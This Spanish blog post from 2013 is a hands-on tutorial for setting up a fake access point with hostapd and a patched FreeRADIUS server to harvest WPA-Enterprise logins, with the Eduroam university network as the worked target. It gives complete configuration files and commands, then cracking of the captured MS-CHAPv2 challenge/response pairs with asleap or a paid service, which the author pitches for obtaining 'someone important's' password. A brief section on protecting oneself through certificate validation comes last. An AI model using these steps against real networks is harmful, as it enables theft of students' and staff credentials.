lunes, 25 de febrero de 2013

Enfrentando un servidor radius - Red Eduroam


  Esta entrada voy a comentar como enfrentarnos a puntos de acceso que poseen una autenticación mediante un servidor radius. Un ejemplo de este tipo de protección es la red Eduroam presente en gran cantidad de universidades a lo largo de todo el mundo.

   Dicha entrada se dividirá en 4 puntos. El primero centrado en la configuración del entorno, los dos siguientes comentando el ataque, primero de una forma simple (o de botón gordo que dice mi compañero @TheXC3LL) y el último mostrará un ejemplo basado en la red Eduroam comentada antes.

  Para realizar el ataque se utilizaran principalmente 2 herramientas, una para crear el punto de acceso y otra para actuar como servidor de autenticación. La primera será hostapd que nos permite crear un punto de acceso similar a la herramienta airbase-ng de la suite Aircrack-ng, mientras que la segunda es FreeRADIUS, concretamente una versión parcheada ya instalada en Backtrack y que, como su nombre indica, actúa como servidor de radius.



Preparando el entorno

  Este punto está centrado en las configuraciones previas que tuve que realizar en Backtrack 5 R3  para que todo me funcionase correctamente, pues determinadas versiones del software que traía la distribución no funcionaban correctamente con mi hardware.


(Puede que el siguiente paso no tengáis que realizarlo para que os funcione, pero a mi me hizo falta debido a mi hardware y a alguien que se encuentre en mi misma situación puede servirle de ayuda ;) )

  La herramienta hostapd que viene preinstalada en Backtrack funcionaba correctamente con mi hardware (una atheros AR9271)  y en mi caso he tenido que instalar la ultima versión disponible.

  Primero descargamos el archivo de la web de hostapd:
wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
Lo extraemos:
tar xzvf hostapd-2.0.tar.gz

 En el siguiente paso instalamos un par de librerías necesarias para su compilación:
apt-get install libnl-dev
 A continuación procedemos con la compilación:
cd hostapd-2.0
cd hostapd
cp defconfig .config
make

   Una vez tenemos todo compilado solo nos queda instalarlo:
make install
hostapd -v


(El siguiente paso es necesario para todos)

  Generamos los certificados que utilizará el servidor radius:
./bootstrap

y los copiamos a:
cp -r * /usr/local/etc/raddb/certs



Ejemplo con easy-creds

  La realización del ataque con este script no puede ser más sencillo, pues basta definir apenas tres parámetros para verlo en marcha.

  El primer paso es acceder al submenú de los ataques a infraestructuras inalámbricas (3 - FakeAP Attacks) y escoger la opción 4 (FreeRadius Attack).


  A continuación se nos preguntará por la interfaz a utilizar, el nombre del punto de acceso creado y el canal de éste, con esto ya tendremos un AP esperando a que alguien se conecte:


 Cuando una víctima se conecte, veremos su usuario y las frases de desafío/respuesta necesarias para la autenticación del cliente:


  Es en este punto es donde reside el mayor problema del ataque, pues no tenemos la contraseña en texto plano, sino que poseemos el par desafío/respuesta entre el cliente y servidor (un ejemplo de dicha autenticación es el protocolo MS-CHAP v2) y es necesario "resolverlo". Para esta tarea tenemos a nuestra disposición la herramienta asleap (aunque también es posible utilizar otras herramientas como John the Ripper) que realizará un ataque de diccionario:
asleap -C <challenge> -R <response> -W <diccionario>



Ejemplo sin easy-creds

  Siguiendo con el ejemplo anterior, ahora crearemos el mismo AP que antes pero a mano, es decir, sin el script easy-creds. Para ello primero configuraremos diversos archivos.

  Hostapd requiere de un archivo de configuración con las especificaciones del punto de acceso. Existen multitud de configuraciones posibles para este archivo en función de las especificaciones del punto acceso a crear, pero explicarlas todas no es la intención de esta entrada, por tanto, los interesado aquí podéis encontrar más información. En ésta veremos la información necesaria para el ataque y los parámetros interesantes que tenemos que modificar.

  Creamos un archivo con el siguiente contenido:
interface=<nombre de la interfaz>
driver=nl80211
ssid=<nombre del AP a crear>
logger_stdout=-1
logger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=secreto
wpa=1
hw_mode=g
channel=<canal del AP creado>
wpa_pairwise=TKIP CCMP
wpa_key_mgmt=WPA-EAP

  Los parámetros a modificar son:
  • interface => El nombre de la interfaz que creará el punto de acceso.
  • driver => Este campo en función de nuestra tarjeta de red será necesario cambiarlo.
  • ssid => El nombre del falso AP creado.
  • auth_server_shared_secret => Esta clave es compartida por el cliente y el AP para su autenticación, aunque a efectos prácticos no influye en el ataque, es necesario para las configuraciones.
  • channel => El canal del punto de acceso creado.
  Un vez configurado a nuestro agrado lo guardamos, por ejemplo, fakeAP.conf.


  
  Respecto a la configuración del servidor radius, es necesario configurar el archivo clients.conf, aunque previamente realizaremos un copia de seguridad de éste:
cp /usr/local/etc/raddb/clients.conf /usr/local/etc/raddb/clients.conf.bak
 A continuación lo adaptamos con los parámetros del secreto (auth_server_shared_secret) y del nombre del AP (ssid) especificados en el archivo de configuración del punto de acceso comentados antes (fakeAP.conf):

client localhost {
  ipaddr = 127.0.0.1
        secret = secreto
        require_message_authenticator = no
        nastype = other
}
client 192.168.0.0/16 {
       secret = secreto
       shortname = testAP
}
client 172.16.0.0/12 {
       secret = secreto
       shortname = testAP
}
client 10.0.0.0/8 {
       secret = secreto
       shortname = testAP
}


 Para más información sobre el archivo de configuración clients.conf podéis leer el este enlace.


  Una vez configurados los archivos pertinentes, creamos el archivo de logs de radius:
touch /usr/local/var/log/radius/freeradius-server-wpe.log

  Y con esto ya tenemos las configuraciones realizadas, queda lanzar ambas herramientas para  crear la "trampa". Primero lanzamos el servidor radius con:
radiusd -X



 Y a continuación lanzamos hostapd junto con el archivo de configuración creado antes:
hostapd fakeAP.conf

  Entonces cuando un cliente se conecte mostrará las credenciales como en el ataque anterior para después descifrarlas con asleap:
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log



Ejemplo sin easy-creds  -- Eduroam

  El ataque a estas redes es similar al anterior simplemente tenemos que modificar algunos parámetros en los archivos de configuración del AP y el clients.conf para adaptarlos a dicha red. En el primer archivo tenemos que cambiar el ssid a eduroam:


 Mientras que en el segundo las apariciones de shortname las igualamos a eduroam:


 Creamos los archivos de log con touch y con tail esperamos que aparezcan las conexiones de las inocentes víctimas:


 Después lanzamos radiusd (radiusd -X):


   Y por último hostapd (hostapd apConf.conf):


  Cuando las víctimas se conecten tendremos resultados similares a los casos anteriores:


  Puesto que el descifrar la clave con asleap puede ser algo poco "práctico" ya que la contraseña puede no existir en nuestro diccionario, es posible realizar ataques de fuerza bruta, aunque el tiempo invertido en esto puede ser enorme.

  Para solucionar el impedimento del tiempo, existe una web que por un módico precio (unos 17$) nos prestan sus servicios para, con gran potencia de calculo, descifrar las claves:


 Dicha inversión podría ser muy interesante para alguien que quisiera obtener la clave de alguien importante...

NOTA: No he llegado a probar este servicio, así que no me hago responsable de nada ;)



¿Cómo nos protegemos?

  La forma de protegerse de este tipo de ataques se centra en utilizar el certificado proporcionado por los administradores de la red. Pongamos como ejemplo el caso de la red Eduroam, cuando nos conectamos a ésta y no especificamos dicho certificado nos aparece una advertencia:


  Podemos ignorarla y la red funcionara perfectamente pues no es obligatorio utilizarlo. Aunque si existe un punto de acceso falso al alcance de nuestra tarjeta de red, cuando ésta busque redes para conectarse, si el AP fraudulento ofrece mejor cobertura que el legitimo automáticamente entregaremos nuestras credenciales al atacante. 

  Para evitar que ocurra lo comentado anteriormente debemos descargar el certificado (en el caso de la red eduroam aquí) y seleccionarlo a la hora de conectarnos a la red:


  Con este simple paso evitamos que se conecte a puntos de acceso creados por terceros con malas intenciones.




Fuentes / Ampliar información



 En resumen, nos encontramos frente a un ataque cuya principal debilidad es el proceso de descifrar la clave pues requiere de ataques de diccionario o fuerza bruta, aunque servicios como CloudCracker permiten su obtención de forma mucho mas rápida aumentando notablemente su peligrosidad.

 Nos leemos en breve ;)

2 comentarios:

  1. Wau, esto está pero que muy interesante.

    Y que pasa con el protocolo PAP?

    ResponderEliminar
    Respuestas
    1. Tendría que probarlo, pero en principio hostapd y freeradius-wpe son compatibles y no debería haber demasiados problemas, aunque es probable que tengas que tocar la configuración de ambos.

      https://github.com/brad-anton/freeradius-wpe/blob/master/README

      Eliminar